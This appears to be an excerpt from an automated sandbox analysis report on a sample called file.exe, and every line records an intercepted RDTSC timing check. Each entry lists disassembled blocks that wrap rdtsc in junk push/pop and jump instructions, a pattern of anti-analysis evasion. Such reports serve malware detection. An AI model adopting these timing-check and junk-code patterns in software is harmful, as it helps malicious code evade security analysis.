Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DFD2 second address: 146DFE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007F0EB486A686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476CB8 second address: 1476CC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476CC0 second address: 1476CE2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F0EB486A686h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0EB486A694h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476CE2 second address: 1476D1B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F0EB4735D24h 0x00000010 jmp 00007F0EB4735D27h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476D1B second address: 1476D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474CBF second address: 1474CE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F0EB4735D1Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0EB4735D1Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474E3F second address: 1474E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F0EB486A68Eh 0x0000000d je 00007F0EB486A693h 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 jng 00007F0EB486A686h 0x0000001c jmp 00007F0EB486A68Fh 0x00000021 push edi 0x00000022 pop edi 0x00000023 popad 0x00000024 push ecx 0x00000025 push edi 0x00000026 pop edi 0x00000027 pop ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c push edi 0x0000002d pop edi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474E8C second address: 1474E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475259 second address: 147525D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147525D second address: 147527A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0EB4735D27h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475530 second address: 1475565 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0EB486A697h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F0EB486A690h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475AB4 second address: 1475AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0EB4735D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475AC0 second address: 1475AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475AC5 second address: 1475ACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476076 second address: 147607C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147607C second address: 1476086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0EB4735D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476086 second address: 147609D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0EB486A68Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147609D second address: 14760A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F0EB4735D16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147637C second address: 1476387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476387 second address: 147638B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147638B second address: 1476395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476395 second address: 147639B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147639B second address: 14763B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A695h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14763B8 second address: 14763BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14769A5 second address: 14769AF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BA68 second address: 147BA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147BA6C second address: 147BA72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14802EC second address: 14802F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14802F0 second address: 14802F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14802F4 second address: 1480314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0EB4735D24h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480314 second address: 148031A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148031A second address: 1480337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D23h 0x00000007 jo 00007F0EB4735D27h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480887 second address: 148088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148088B second address: 148089A instructions: 0x00000000 rdtsc 0x00000002 js 00007F0EB4735D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14809E3 second address: 14809EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14809EC second address: 14809F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14809F0 second address: 1480A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0EB486A69Ch 0x0000000c jmp 00007F0EB486A690h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480A0E second address: 1480A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F0EB4735D42h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480B72 second address: 1480B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB486A68Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480CE9 second address: 1480CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1480CEF second address: 1480CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1489424 second address: 148943F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F0EB4735D26h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148943F second address: 148944F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0EB486A686h 0x0000000a jg 00007F0EB486A686h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148765E second address: 1487667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1487667 second address: 148766B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148766B second address: 148767E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148767E second address: 1487698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0EB486A688h 0x0000000c popad 0x0000000d je 00007F0EB486A6AEh 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1487698 second address: 14876A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jl 00007F0EB4735D16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1487819 second address: 148781D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148781D second address: 1487842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0EB4735D2Ah 0x0000000c jmp 00007F0EB4735D24h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1487842 second address: 148784F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F0EB486A686h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1487C36 second address: 1487C3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1487F1F second address: 1487F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148820F second address: 148822B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0EB4735D26h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148836C second address: 1488376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1488514 second address: 1488541 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0EB4735D22h 0x00000008 pushad 0x00000009 jns 00007F0EB4735D16h 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F0EB4735D1Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1488C1F second address: 1488C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1488C23 second address: 1488C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1488C29 second address: 1488C53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB486A68Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F0EB486A699h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14892B1 second address: 14892B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14892B7 second address: 14892C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007F0EB486A68Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148720C second address: 148721B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 jng 00007F0EB4735D16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148721B second address: 1487226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0EB486A686h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E24D second address: 148E263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D21h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E263 second address: 148E29F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F0EB486A695h 0x00000008 jmp 00007F0EB486A690h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F0EB486A68Bh 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E29F second address: 148E2A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E2A7 second address: 148E2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149531E second address: 149533B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB4735D27h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149533B second address: 1495340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494D69 second address: 1494D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494D6F second address: 1494D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494D74 second address: 1494D87 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0EB4735D1Eh 0x00000008 jns 00007F0EB4735D16h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494D87 second address: 1494DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0EB486A697h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0EB486A694h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494DBB second address: 1494DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1494F06 second address: 1494F14 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0EB486A686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A1352 second address: 14A1376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0EB4735D16h 0x0000000a jmp 00007F0EB4735D28h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A1376 second address: 14A1394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007F0EB486A686h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 js 00007F0EB486A686h 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0E95 second address: 14A0E9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0E9F second address: 14A0EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0EB486A686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A1057 second address: 14A105D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A7392 second address: 14A73B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F0EB486A695h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A73B1 second address: 14A7400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F0EB4735D20h 0x0000000d pop eax 0x0000000e jmp 00007F0EB4735D22h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F0EB4735D27h 0x0000001c ja 00007F0EB4735D1Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B08E6 second address: 14B08EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B08EC second address: 14B08F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B08F4 second address: 14B08FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B08FA second address: 14B0900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B0900 second address: 14B0908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BE0D5 second address: 14BE0EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F0EB4735D1Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BE0EB second address: 14BE0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BE0F0 second address: 14BE0FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0EB4735D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BECFF second address: 14BED03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BED03 second address: 14BED18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0EB4735D1Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BED18 second address: 14BED22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0EB486A686h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BED22 second address: 14BED39 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0EB4735D1Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BED39 second address: 14BED3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C277F second address: 14C278A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C278A second address: 14C2795 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C2795 second address: 14C279B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C279B second address: 14C27A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C2959 second address: 14C295F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
